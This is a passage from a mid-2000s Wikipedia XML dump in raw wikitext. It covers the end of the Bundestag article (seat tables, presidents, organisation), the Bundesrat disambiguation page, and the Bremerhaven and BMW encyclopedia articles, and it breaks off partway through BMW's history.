| align=&quot;center&quot; |41
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |17
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''4th'''
| align=&quot;center&quot; |'''1961 – 1965'''
| align=&quot;center&quot; |499
| align=&quot;center&quot; |242
| align=&quot;center&quot; |190
| align=&quot;center&quot; |67
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''5th'''
| align=&quot;center&quot; |'''1965 – 1969'''
| align=&quot;center&quot; |496
| align=&quot;center&quot; |245
| align=&quot;center&quot; |202
| align=&quot;center&quot; |49
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''6th'''
| align=&quot;center&quot; |'''1969 – 1972'''
| align=&quot;center&quot; |496
| align=&quot;center&quot; |242
| align=&quot;center&quot; |224
| align=&quot;center&quot; |30
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''7th'''
| align=&quot;center&quot; |'''1972 – 1976'''
| align=&quot;center&quot; |496
| align=&quot;center&quot; |225
| align=&quot;center&quot; |230
| align=&quot;center&quot; |41
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''8th'''
| align=&quot;center&quot; |'''1976 – 1980'''
| align=&quot;center&quot; |496
| align=&quot;center&quot; |243
| align=&quot;center&quot; |214
| align=&quot;center&quot; |39
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''9th'''
| align=&quot;center&quot; |'''1980 – 1983'''
| align=&quot;center&quot; |497
| align=&quot;center&quot; |226
| align=&quot;center&quot; |218
| align=&quot;center&quot; |53
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''10th'''
| align=&quot;center&quot; |'''1983 – 1987'''
| align=&quot;center&quot; |498
| align=&quot;center&quot; |244
| align=&quot;center&quot; |193
| align=&quot;center&quot; |34
| align=&quot;center&quot; |27
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''11th'''
| align=&quot;center&quot;  |'''1987 – 1990'''
| align=&quot;center&quot; |497
| align=&quot;center&quot; |223
| align=&quot;center&quot; |186
| align=&quot;center&quot; |46
| align=&quot;center&quot; |42
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''12th'''
| align=&quot;center&quot; |'''1990 – 1994'''
| align=&quot;center&quot; |662
| align=&quot;center&quot; |319
| align=&quot;center&quot; |239
| align=&quot;center&quot; |79
| align=&quot;center&quot; |8
| align=&quot;center&quot; |17
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''13th'''
| align=&quot;center&quot; |'''1994 – 1998'''
| align=&quot;center&quot; |672
| align=&quot;center&quot; |294
| align=&quot;center&quot; |252
| align=&quot;center&quot; |47
| align=&quot;center&quot; |49
| align=&quot;center&quot; |30
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''14th'''
| align=&quot;center&quot; |'''1998 – 2002'''
| align=&quot;center&quot; |669
| align=&quot;center&quot; |245
| align=&quot;center&quot; |298
| align=&quot;center&quot; |43
| align=&quot;center&quot; |47
| align=&quot;center&quot; |36
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''15th'''
| align=&quot;center&quot; |'''2002 – 2005'''
| align=&quot;center&quot; |603
| align=&quot;center&quot; |248
| align=&quot;center&quot; |251
| align=&quot;center&quot; |47
| align=&quot;center&quot; |55
| align=&quot;center&quot; |2
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|- style=&quot;background:#FFF8DC;&quot;
| align=&quot;center&quot; |'''16th'''
| align=&quot;center&quot; |'''since 2005'''
| align=&quot;center&quot; |614
| align=&quot;center&quot; |226
| align=&quot;center&quot; |222
| align=&quot;center&quot; |61
| align=&quot;center&quot; |51
| align=&quot;center&quot; |54
| align=&quot;center&quot; |&amp;ndash;
| align=&quot;center&quot; |&amp;ndash;
|-
|}
&lt;sup&gt;1&lt;/sup&gt;: 1983 to 1990 The Greens, 1990 to 1994 [[Alliance 90]], since 1994 [[Alliance '90/The Greens|Alliance 90/The Greens]]&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt;: 1990 to 2005 [[Partei des Demokratischen Sozialismus|PDS]] (Party of Democratic Socialism), since 2005 [[Left Party (Germany)|The Left Party]]&lt;br&gt;

For detailed information on particular sessions of the Bundestag, please refer to the [[List of German Bundestage]].

==Presidents since 1949==
{|
|-
|[[Erich Köhler]] (CDU)||1949-1950||(resigned for medical reasons)
|-
|[[Hermann Ehlers]] (CDU)||1950-1954||(died in office)
|-
|[[Eugen Gerstenmaier]] (CDU)||1954-1969||(resigned for political reasons)
|-
|[[Kai-Uwe von Hassel]] (CDU)||1969-1972|| 
|-
|[[Annemarie Renger]] (SPD)||1972-1976||(first woman and social democrat to hold the post)
|-
|[[Karl Carstens]] (CDU)||1976-1979||(resigned when he became Federal President of the FRG)
|-
|[[Richard Stücklen]] (CSU)||1979-1983||
|-
|[[Rainer Barzel]] (CDU)||1983-1984||(resigned for political reasons)
|-
|[[Philipp Jenninger]] (CDU)||1984-1988||(resigned for political reasons)
|-
|[[Rita Süssmuth]] (CDU)||1988-1998||    
|-
|[[Wolfgang Thierse]] (SPD)||1998-2005||
|-
|[[Norbert Lammert]] (CDU)||2005-||
|}

==Organization==
The most important organizational structures within the ''Bundestag'' are parliamentary groups (''Fraktionen''; sing. ''Fraktion''), which are formed by political parties represented in the chamber which have gained more than 5% of the total votes; [[Christian Democratic Union|CDU]] and [[Christian Social Union|CSU]] have always formed a single united ''Fraktion''. The size of a party's ''Fraktion'' determines the extent of its representation on legislative committees, the time slots alloted for speaking, the number of committee chairs it can hold, and its representation in executive bodies of the ''Bundestag.'' The ''Fraktionen,'' not the members, receive the bulk of government funding for legislative and administrative activities. 

The leadership of each ''Fraktion'' consists of a parliamentary party leader, several deputy leaders, and an executive committee. The leadership's major responsibilities are to represent the ''Fraktion,'' enforce party discipline, and orchestrate the party's parliamentary activities. The members of each ''Fraktion'' are distributed among [[working group]]s focused on specific policy-related topics such as social policy, economics, and foreign policy. The ''Fraktion'' meets once a week to consider legislation before the ''Bundestag'' and formulate the party's position on it.

Parties which do not fulfill the criterion for being a ''Fraktion'' but which have got at least three seats by direct elections (i.e. which have got at least three MPs which represent a certain electoral district) in the Bundestag can be granted the status of a ''group'' of the Bundestag. This applied to the [[Party of Democratic Socialism]] (PDS) from [[1990]]-[[1998]]. This status entails some privileges which are in general less than those of a ''Fraktion''. In the current ''Bundestag'', there are no such groups (the PDS only had two MPs in parliament until 2005 and was thus not even considered a group anymore; the party has now returned to the Bundestag with full ''Fraktion'' status).

The ''Bundestag's'' '''executive bodies''' include the [[Council of Elders of the Bundestag (Germany)|Council of Elders]] and the [[Presidium of the Bundestag (Germany)|Presidium]]. The council consists of the ''Bundestag'' leadership, together with the most senior representatives of each ''Fraktion,'' with the number of these representatives tied to the strength of the party in the chamber. The council is the coordination hub, determining the daily legislative agenda and assigning committee chairpersons based on party representation. The council also serves as an important forum for interparty negotiations on specific legislation and procedural issues. The Presidium is responsible for the routine administration of the ''Bundestag,'' including its clerical and research activities. It consists of the chamber's president (usually elected from the largest ''Fraktion'') and vice presidents (one from each ''Fraktion).''

Most of the legislative work in the ''Bundestag'' is the product of '''standing committees,''' which exist largely unchanged throughout one legislative period. Although this is common practice in the [[Congress of the United States|U.S. Congress]], it is uncommon in other parliamentary systems, such as the [[British House of Commons]] and the French [[National Assembly]]. The number of committees approximates the number of federal ministries, and the titles of each are roughly similar (e.g., defense, agriculture, and labor). Between 1987 and 1990, the term of the eleventh ''Bundestag,'' there were twenty-one standing committees. The distribution of committee chairs and the membership of each committee reflect the relative strength of the various parties in the chamber. In the eleventh ''Bundestag,'' the [[Christian-Democratic Union of Germany|CDU]]/[[Christian Social Union in Bavaria|CSU]] chaired eleven committees, the [[Social Democratic Party of Germany|SPD]] eight, the [[Free Democratic Party of Germany|FDP]] one, and the environmentalist party, the [[German Green Party|Greens]] ''(Die Grünen),'' one. Unlike in the United States Congress, where all committees are chaired by members of the majority party, the German system allows members of the opposition party to chair a significant number of standing committees. These committees have either a small staff or no staff at all.

==See also==
* [[Politics of Germany]]
* ''[[Bundesrat (Germany)|Bundesrat]]''

==External links==
* [http://www.bundestag.de/ http://www.bundestag.de] - Official site
* [http://www.btw2002.de/ http://www.btw2002.de] - 2002 elections


[[Category:German Bundestag|*]]
[[Category:German loanwords]]
[[Category:Legislative Branch of the German Government|*]]
[[Category:National legislatures|Germany]]
[[Category:Politics of Germany]]

[[ar:بوندستاغ]]
[[de:Deutscher Bundestag]]
[[es:Bundestag]]
[[fr:Bundestag]]
[[hr:Bundestag]]
[[it:Bundestag]]
[[nl:Bondsdag]]
[[ja:ドイツ連邦議会]]
[[no:Forbundsdagen]]
[[nn:Forbundsdagen]]
[[pl:Bundestag]]
[[pt:Bundestag]]
[[ru:Бундестаг]]
[[fi:Saksan liittopäivät]]
[[sv:Förbundsdagen]]</text>
    </revision>
  </page>
  <page>
    <title>Bundesrat</title>
    <id>3769</id>
    <revision>
      <id>30896455</id>
      <timestamp>2005-12-11T04:36:17Z</timestamp>
      <contributor>
        <username>KaiserbBot</username>
        <id>624606</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Executive</comment>
      <text xml:space="preserve">The '''''Bundesrat,''''' [[German language|German]] for &quot;Federal Council&quot;, is a political institution in several countries:

* [[Federal Council of Austria|''Bundesrat'' of Austria]] ([[legislative]])
* [[Bundesrat (Germany)|''Bundesrat'' of Germany]] (legislative)
* [[Swiss Federal Council|''Bundesrat'' of Switzerland: the Swiss Federal Council]] ([[executive (government)|executive]])

{{disambig}}

[[als:Bundesrat]]
[[cs:Spolková rada]]
[[de:Bundesrat]]
[[fr:Bundesrat]]
[[ja:連邦参議院]]
[[pl:Rada Federalna]]
[[ru:Бундесрат]]
[[sv:Förbundsrådet]]</text>
    </revision>
  </page>
  <page>
    <title>Bundesregierung</title>
    <id>3770</id>
    <revision>
      <id>15902085</id>
      <timestamp>2002-08-18T08:45:23Z</timestamp>
      <contributor>
        <ip>217.99.105.223</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Politics of Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Bremerhaven</title>
    <id>3771</id>
    <revision>
      <id>41595703</id>
      <timestamp>2006-02-28T11:06:17Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fi</comment>
      <text xml:space="preserve">{{Infobox Town DE|
name = Bremerhaven|
name_local = |
image_coa =  bremerhaven.jpg|
image_map =  Bremerhaven-Position.png|
state = [[Bremen (state)]]|
regbzk = |
district = [[List of German urban districts|urban district]]|
population = 116,865|
population_as_of = 2005|
population_ref = [http://www.statistik.bremen.de/aktuelle_statistiken/AI1_m.pdf source]|
pop_dens = 1,482|
area = 78.86|
elevation = 2|
lat_deg = 53| 
lat_min = 33|
lat_hem = N|
lon_deg = 8|
lon_min = 35|
lon_hem = E|
postal_code = 27501-27580 |
area_code = 0471|
licence = HB|
mayor = Jörg Schulz ([[Social Democratic Party of Germany|SPD]])|
website = [http://www.bremerhaven.de/ bremerhaven.de]|
}}
[[image:Weser watershed 3.png|thumb|Watershed of the River Weser]] 
'''Bremerhaven''' is a city in the federal state of [[Bremen (state)|Bremen]], [[Germany]]. It is located at the eastern bank of the [[Weser]] river mouth, opposite the town of [[Nordenham]]. 

==History==
The town was founded in [[1827]], but there were settlements there as early as the [[12th century]]. These tiny villages were built on small islands in the swampy estuary. There were early plans to found a fortified town at the place in order to protect the ships leaving or entering the Weser, and in [[1672]] Swedish colonists tried unsuccessfully to erect a castle (Carlsburg) there.

Finally, in 1827 the city of [[Bremen (city)|Bremen]] bought the territories at the Weser mouth from the kingdom of [[Hanover (state)|Hanover]]. Bremerhaven was born and became a second harbour to Bremen, despite the distance of 50 km between the places. Due to the trade with and the emigration to North America the port and the town grew fast.

The kingdom of Hanover founded a rival town directly beside Bremerhaven and called it '''Geestemünde''' ([[1845]]). Both towns grew and established the three pillars of trade, shipbuilding and fishing. In [[1927]] Geestemünde and some neighbouring municipalities were united to become the new city of '''Wesermünde''', and in [[1939]] Wesermünde and Bremerhaven were merged. Most of the town was destroyed in [[World War II]]; however the most vital parts of the port escaped the war undamaged.  In [[1947]] the city became part of the [[Bremen (state)|Bundesland Bremen]]. Today Bremerhaven is therefore, confusingly, part of the ''state'' of Bremen but is a city in its own right, distinct from the ''city'' of Bremen. Adding to the confusion is the fact that the overseas port is not part of the city Bremerhaven but under the direct jurisdiction of the city of Bremen.

==Twin cities==
Bremerhaven's [[Town twinning|twin cities]] include:
{|
| valign=&quot;top&quot; |
* {{flagicon|France}} - [[Cherbourg]] ([[France]]), since June 1960
* {{flagicon|UK}} - [[Grimsby]] ([[United Kingdom]]), since February 1963
* {{flagicon|Finland}} - [[Pori]] ([[Finland]]), since May 1969
| valign=&quot;top&quot; |
* {{flagicon|Denmark}} - [[Frederikshavn]] ([[Denmark]]), since June 1979
* {{flagicon|Poland}} - [[Szczecin]] ([[Poland]]), since October 1990
* {{flagicon|Russia}} - [[Kaliningrad]] ([[Russia]]), since April 1992
|}

The three roads connecting the city of Bremerhaven to the [[Bundesautobahn 27|Autobahn 27]] consequently are named after the original three twin cities:
* Cherbourger Straße (AS Bremerhaven-Überseehafen)
* [[Bundesstraße 212|Grimsbystraße]] (AS Bremerhaven-Mitte)
* Poristraße (AS Bremerhaven-Geestemünde)
==Tourist attractions==
[[Image:Blick vom Radarfunkturm2.JPG|thumb|left|View from Radar Tower]]
[[Image:Bremerhaven.JPG|thumb|Columbus Center and the &quot;Seute Deern&quot;]]
[[Image:U boat wilhelm bauer.JPG|thumb|The Wilhelm Bauer at the German Maritime Museum]]
Bremerhaven has only a few historical buildings, and the high street and city centre are almost exclusively post-war. The main attractions for tourists are the [[German Emigration Center]] (since August 8, 2005) and the [[German Maritime Museum]] (''Deutsches Schiffahrtsmuseum'') in a historical harbour with many [[museum ship]]s such as the [[Type XXI U-boat|Type XXI]] [[U-boat]] [[Wilhelm Bauer (U-boat)|Wilhelm Bauer]], the ''Seute Deern'' (a three-masted sailing vessel), and other interesting ships. At the world-famous [[Lloyd]] wharf, great cruiseliners are built or repaired. As of March 2004, the ''[[SS Norway|Norway]]'' is being overhauled in the port and the ''Oriana'' and the ''[[RMS Queen Elizabeth 2|QE2]]'' are expected. The ''Pride of America'' (80,000 tons) is under construction. The fishing port also houses an aquarium (the Atlanticum). The [[zoo]] reopened on [[27 March]] [[2004]], after a lengthy rehabilitation.  It features [[Arctic]] wildlife, both terrestrial and marine. Attractions include the ''Klimahaus,'' simulating travel adventure along the 8th [[latitude|Parallel]].

Many tourists watch the many ships in the busy port. Every five years [[Sail Bremerhaven]] is held, a large marine manifestation  that attracts [[tall ship]]s from all over the world. The last time it was held was in [[2005]], to coincide with [[Sail Amsterdam]].

==Trade==
[[Image:Überseehafen3-Bremerhaven.JPG|thumb|Overseas Port of Bremerhaven]]
The port of Bremerhaven is the sixteenth largest container port in the world, with more than 3,500,000 containers shipped every year; the port is still growing fast. In addition, more than 1,350,000 cars are imported or exported every year via Bremerhaven.

The car in- and export of Bremerhaven is the second biggest in Europe after Rotterdam. This and the container business are both very important for the harbor and both are growing.

==Politics==

The Bremerhaven government is a coalition between the [[Social Democratic Party of Germany|Social Democrats]] and the [[Christian Democratic Union of Germany|Christian Democrats]]. 

==Sport==

Bremerhaven is home to the basketball team Eisbären Bremerhaven who play in the highest German [[Bundesliga (basketball)]].

== External links ==
{{commons|Bremerhaven}}
* [http://www.bremerhaven.de/ Official website of the city]
* [http://www.auswandererhaus.de/english/hauptseite.html Auswandererhaus]
* [http://www.dsm.de/edsm.htm Deutsches Schiffahrtsmuseum]


[[Category:Bremen]]
[[Category:Coastal cities]]
[[Category:Cities in Germany]]

[[de:Bremerhaven]]
[[es:Bremerhaven]]
[[fr:Bremerhaven]]
[[ko:브레머하펜]]
[[it:Bremerhaven]]
[[nl:Bremerhaven]]
[[ja:ブレーマーハーフェン]]
[[pl:Bremerhaven]]
[[pt:Bremerhaven]]
[[ru:Бремерхафен]]
[[fi:Bremerhaven]]
[[sv:Bremerhaven]]</text>
    </revision>
  </page>
  <page>
    <title>BMW</title>
    <id>3772</id>
    <revision>
      <id>42050617</id>
      <timestamp>2006-03-03T13:29:44Z</timestamp>
      <contributor>
        <ip>172.215.77.80</ip>
      </contributor>
      <comment>Corrected misspelling of Nuremberg</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Bayerische Motoren Werke AG |
  company_logo   = [[Image:BMW logo.png|140px|The BMW Company logo]] |
  company_type   = [[Public company|Public]] ([[Xetra (trading system)|Xetra]]: [http://deutsche-boerse.com/dbag/dispatch/en/isg/gdb_navigation/home?module=InOverview_Equi&amp;wp=DE0005190003&amp;foldertype=_Equi&amp;wplist=DE0005190003&amp;active=overview&amp;wpbpl= BMW]) |
  company_slogan = The Ultimate Driving Machine |
  foundation     = [[1913]] by Karl Friedrich Rapp|
  location       = [[Munich]], [[Germany]]|
  key_people     = Helmut Panke, Chairman of the Board of Management|
  num_employees  = 105,972 ([[2004]]) |
  industry       = [[Automobile|Automotive]]|
  products       = [[Automobile]]s&lt;br /&gt;[[Motorcycle]]s|
  revenue        = [[image:green up.png]] [[Euro|€]]44.4 [[billion]] ([[2004]]) |  
  homepage       = [http://www.bmw.com/ www.bmw.com]
}}

'''BMW [[Aktiengesellschaft|AG]]''' (an [[abbreviation]] of '''''Bayerische Motoren Werke AG''''', or in [[English language|English]], '''Bavarian Motor Works'''), is a [[List of German companies|German company]] and manufacturer of [[automobile]]s and [[BMW  motorcycles|motorcycles]]. BMW is the world's largest premium carmaker and is the parent company of the [[BMW MINI]] and [[Rolls-Royce]] car brands, and, formerly, [[Rover (car)|Rover]].

In [[German language|German]], the [[acronym]] BMW is pronounced &quot;bay emm vay.&quot; In [[North America]] and some other regions (i.e. [[Jamaica]]), BMW cars are referred to as &quot;bimmers,&quot; {{ref|bostonbimmer}}while BMW motorcycles are called &quot;beemers&quot;. 

The company's taglines in English are &quot;The Ultimate Driving Machine&quot; and &quot;Sheer Driving Pleasure.&quot; The original German slogan is &quot;Freude am Fahren,&quot; which translates to &quot;Joy in Driving&quot; in [[English language|English]].

BMW's main competitors include [[Acura]], [[Audi]], [[Cadillac]], [[Infiniti]], [[Jaguar (car)|Jaguar]], [[Lexus]], [[Mercedes-Benz]] and [[Volvo Cars|Volvo]].

==History==
[[image:BMW_building_munich.jpg|thumb|250px|[[BMW Headquarters]] in Munich, Germany.]]

===Pre-WWII=== 
BMW was founded by [[Karl Friedrich Rapp]] in October [[1913]], originally as an [[aircraft engine]] manufacturer, Bayerische Flugzeug-Werke. The [[Milbertshofen]] district of [[Munich]] location was chosen because it was close to the [[Gustav Otto]] [[Gustav Otto Flugmaschinenfabrik|Flugmaschinenfabrik]] site, a German [[aircraft]] manufacturer. The blue-and-white circular logo BMW still uses (illustrated above right) alludes to the blue and white checkered flag of [[Bavaria]] and also indicates the origin of BMW by symbolizing a spinning white propeller on a blue-sky background.

In [[1916]] the company secured a contract to build [[V12 engine|V12]] engines for [[Austria-Hungary]]. Needing extra financing, Rapp gained the support of [[Camillo Castiglioni]] and [[Max Friz]], the company was reconstituted as the Bayerische Motoren Werke [[Gmbh|GmbH]]. Over-expansion caused difficulties; Rapp left and the company was taken over by the Austrian industrialist [[Franz Josef Popp]] in [[1917]], and named BMW [[Aktiengesellschaft|AG]] in [[1918]].

After [[World War I]], the [[Treaty of Versailles]] ([[1919]]) prohibited the production of aircraft in Germany. [[Gustav Otto|Otto]] closed his factory and BMW switched to manufacturing [[Rail transport|railway]] [[brake]]s.

In [[1919]] BMW designed their first motorcycle engine to be used in a model called the Victoria which was built by a company in [[Nuremberg]].

In [[1923]] BMW built their first model motorcycle, the [[BMW R32|R32]]. This had a 500 cc air-cooled horizontally-opposed engine, a feature that would resonate among their various models for decades to come, albeit with displacement increases and newer technology.

In [[1927]] the tiny [[BMW Dixi|Dixi]], an [[Austin (car)|Austin]] [[Austin Seven|Seven]] produced under licence, began production in [[Eisenach, Germany|Eisenach]]. BMW bought the [[Automobilwerk Eisenach|Dixi Company]] the following year, and this became the company's first car, the [[BMW 3/15]]. By [[1933]] BMW were producing cars that could be called truly theirs, offering steadily more advanced [[Straight-6|I6]] [[Sports car|sports]] and saloons (sedans). The pre-war cars culminated in the [[BMW 327|327]] saloon and [[BMW 328|328]] [[roadster]], fast [[engine displacement|2.0 L]] cars, both very advanced for their time.

===World War II===
BMW [[motorcycle|motorcycles]], specifically the [[BMW R 12]] and the [[BMW R 75]] combination were used extensively by the [[Aufklärungsabteilung|Reconnaissance formations]] of German [[panzer]] and motorised divisions of the [[Heer]], [[Waffen SS]] and [[Luftwaffe]].

BMW was also a major supplier of engines to the [[Luftwaffe]] and of engines and vehicles, especially motorcycles, to the [[Wehrmacht]]. Planes used the aero-engines included the [[BMW 801|801]], one of the most powerful available. Over 30,000 were manufactured up to [[1945]]. BMW also researched [[jet engine]]s, producing the [[BMW 003]], and rocket-based weapons. BMW has admitted to using between 25,000 and 30,000 slave labourers during this period, consisting of both inmates of infamous [[concentration camp]]s such as [[Dachau]] and prisoners of war.

The BMW works were heavily bombed towards the end of the war. Of its sites, those in eastern Germany ([[Eisenach|Eisenach-Dürrerhof]], [[Wandlitz|Wandlitz-Basdorf]] and [[Zühlsdorf]]) were seized by the [[Soviet Union|Soviets]]. The factory in Munich was largely destroyed.

===Aftermath of WWII===
After the war the [[Munich]] [[factory]] took some time to restart production in any volume. BMW was banned from manufacturing for three years by the [[Allies]] and did not produce a car model until [[1952]].

In the east, the company's factory at Eisenach was taken over by the soviet [[Awtowelo]] group which finally formed [[Automobilwerk Eisenach|Eisenacher Motor-Werke]]. That company produced cars called &quot;BMW&quot; until in [[1951]] the Bavarian company prevented use of the [[trademark]]s — the BMW name, the [[logotype|logo]] and the &quot;double-kidney&quot; [[radiator]] [[grille]] — the cars being then rebranded EMW. Production continued until [[1955]].

In the west, representatives from the [[Bristol Aeroplane Company]] inspected the factory, and returned to [[United Kingdom|Britain]] with [[plan]]s for the 326, 327 and 328 models. These plans, which became official war reparations, along with BMW [[engineer]] [[Fritz Fiedler]] allowed the newly formed [[Bristol Cars]] to produce a new, high-quality sports saloon (sedan), the [[Bristol 400|400]] by [[1947]], a car so similar to the BMW 327 that it even kept the famous BMW grille.

[[image:bmw.z3.750pix.jpg|thumb|250px|BMW Z3]]

===Post-war history===
In 1952, BMW produced its first passenger car since the war, but its attempts to get into the premium sector were not commercially successful; models such as the acclaimed [[BMW 507]] were too expensive to build profitably and were low volume. By the late 1950s, it was making bubble cars such as the [[Isetta]]. In [[1959]] BMW's management suggested selling the whole concern to [[Daimler-Benz]]. Major shareholder, [[Herbert Quandt]] was close to agreeing such a deal, but changed his mind at the last minute because of opposition from the workforce and trade unions and advice from the board chairman, [[Kurt Golda]].  Instead Quandt increased his share in BMW to 50% against the advice of his bankers, and he was instrumental in turning the company around.

That same year, BMW launched the [[BMW 700|700]], a small car with an air-cooled, rear-mounted 697 cc boxer engine from the R67 motorcycle. Its bodywork was designed by [[Giovanni Michelotti]] and the 2+2 model had a sporty look. There was also a more powerful RS model for racing. Competition successes in the 700 began to secure BMW's reputation for sports sedans.

At the [[Frankfurt]] show in 1961, BMW launched the [[BMW New Class#1500|1500]], a powerful compact [[sedan (car)|sedan]], with front disc brakes and four-wheel independent suspension. This modern specification further cemented BMW's reputation for sporting cars. It was the first BMW to officially feature the &quot;[[Hofmeister kink]]&quot;, the rear window line that has been the hallmark of all BMWs since then.

The &quot;[[BMW New Class|New Class]]&quot; 1500 was developed into [[BMW New Class#1600|1600]] and [[BMW New Class#1800|1800]] models. In 1966, the two-door version of the 1600 was launched, along with a convertible in 1967. These models were called the '02' series—the [[BMW New Class#2002|2002]] being the most famous—and began the bloodline that later developed into the [[BMW 3 Series]].

In [[1968]], BMW launched its large &quot;[[BMW New Six|New Six]]&quot; sedans, the [[BMW New Six#2500/2800/Bavaria|2500, 2800, and American Bavaria]], and coupés, the [[BMW New Six#Coupes|2.5 CS and 2800 CS]].

By the [[1970s]], BMW was commercially successful and in December 1971, moved in to its present HQ in Munich, architecturally modelled after four cylinders.

In [[1972]], the [[BMW 5 Series|5 Series]] was launched to replace the New Class sedans, with a body styled by [[Marcello Gandini]].  The New Class coupes were replaced by the [[BMW 3 Series|3 Series]] in [[1975]], and the New Six became the [[BMW 7 Series|7 Series]] in [[1977]].  Thus the three-tier sports sedan range was formed, and BMW essentially followed this formula into the [[1990s]]. Other cars, like the [[BMW 6 Series|6 Series]] coupes that replaced the CS and the [[BMW M1|M1]], were also added to the mix as the market demanded.

===&quot;The English Patient&quot;===
Between [[1994]] and [[2000]], under the leadership of [[Bernd Pischetsrieder]], BMW owned the [[Rover (car)|Rover Group]] in an attempt to get into mass market production, buying it from [[British Aerospace]]. This brought the [[Rover (car)|Rover]], [[Mini]], [[Land Rover]] and [[Triumph Motor Company|Triumph]] brands under BMW ownership.

The venture was not successful. For years, Rover tried to rival BMW, if not in product, then in market positioning and &quot;snob appeal&quot;. BMW found it difficult to reposition the English automaker alongside its own products and the Rover division was faced with endless changes in its marketing strategy. In the six years under BMW, Rover was positioned as a premium automaker, a mass-market automaker, a division of BMW and an independent unit.

BMW was more successful with the [[Mini]] and [[Land Rover]] brands, which did not have parallels in its own range at the time.

In 2000, BMW disposed of [[Rover (car)|Rover]] after years of losses, with Rover cars going to the [[Phoenix Venture Holdings]] for a nominal £10 and Land Rover going to the [[Ford Motor Company]]. In the press, many years of under-investment by Rover before BMW's ownership were mainly blamed for the debacle; productivity and industrial relations were generally good during this period. The German press ridiculed the English firm as &quot;[[The English Patient (film)|The English Patient]]&quot;, after a film at the time. BMW itself, protected by its product range's image, was largely spared the blame &amp;mdash; even though it was the serious marketing issues that brought Rover down. Even the British press was not particularly sympathetic toward Rover.

BMW retained the Mini and [[Triumph Motor Company|Triumph]] marques. [[BMW MINI|MINI]] has been a highly successful business, though the Triumph name has not been used.

[[Image:BMW logo.png|150px|thumb|The BMW logo is a [[circle]] (known as a [[roundel]]) divided into [[quadrant]]s of alternating white and light blue colour. This is a stylized representation of an [[aircraft]] [[propeller]]. The colours of the logo are those of the flag of [[Bavaria]].]]

===Redesign Controversy===
In the early part of the [[2000s]], BMW undertook another of its periodic cycles of redoing the styling design of its various series of vehicles, under the auspices of newly promoted design chief [[Christopher Bangle]].  These designs, which were much curvier and 'swoopier' -- a design cue called &quot;flame surfacing&quot; by Bangle, did not rest well at all with BMW enthusiasts or the automotive press which referred to the new designs as &quot;Bangled&quot; or &quot;Bangle-ized&quot;.  While Bangle did not pen all of these designs, and has indeed been promoted within the company, some question what long term effect the disaffection of BMW traditionalists for these designs will have on sales, and on the company's future.  Despite the controversy, BMW sales have increased year after year, showing the buying public's embrace of the new design philosophy.

What is not well known, however is that Bangle was indeed responsible for many 'conservative' BMW designs and has worked at BMW for almost a decade.  The first X5 sketches (which highly resembled the production car), were designed by him, and under his tenure the E46 came to be.

===Production outside Germany===
BMW started producing automobiles at its [[Spartanburg, South Carolina]] plant in 1994. Today, the plant manufactures the [[BMW X5]] and [[BMW Z4]] Roadster.

The Spartanburg plant is open six days a week, producing automobiles approximately 110 hours a week. It employs about 4,700 people and manufactures over 500 vehicles daily.

After a period of local assembly, BMW's [[Rosslyn, South Africa]] plant now manufactures cars, with over 70 percent of its output destined for export. In the mid-1990s, BMW invested [[Rand (currency)|R]]1 billion to make Rosslyn a world-class facility. The plant now exports over 50,000 3 Series cars a year, mostly to the USA, Japan, Australia, Africa and the Middle East.

Starting from October 2003, BMWs are produced in [[Shenyang]], [[China]].  BMW has established a joint venture with Chinese manufacturer Brilliance to build BMW 3 Series and 5 Series vehicles for the local market.

===Rolls-Royce===
